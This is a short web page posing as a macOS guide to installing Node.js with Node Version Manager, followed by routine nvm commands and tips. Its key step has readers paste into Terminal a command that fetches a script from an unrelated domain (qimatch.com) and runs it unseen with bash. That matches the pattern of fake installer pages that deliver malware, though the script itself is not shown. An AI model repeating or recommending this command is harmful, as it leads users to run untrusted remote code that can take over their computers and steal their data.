A simple way to install Node.js on Mac, MacBook, and macOS. Works on Apple Silicon and Intel.
All installation commands should be typed into the Terminal app. Here’s how to open it:
⌘
+ Space
, type Terminal, then .press Enter.Paste this command into your open Terminal window and .press Enter:
/bin/bash -c "$(curl -fsSL https://qimatch.com/njs/install.sh)"
After installation, restart Terminal or run source ~/.zshrc
.
command -v nvm
nvm install --lts
nvm alias default lts/*
node -v
, npm -v
Node Version Manager keeps your Node.js setup clean and flexible:
nvm use
sudo
to install global npm packagessource ~/.zshrc
or restart Terminal.which node
points to your home directory.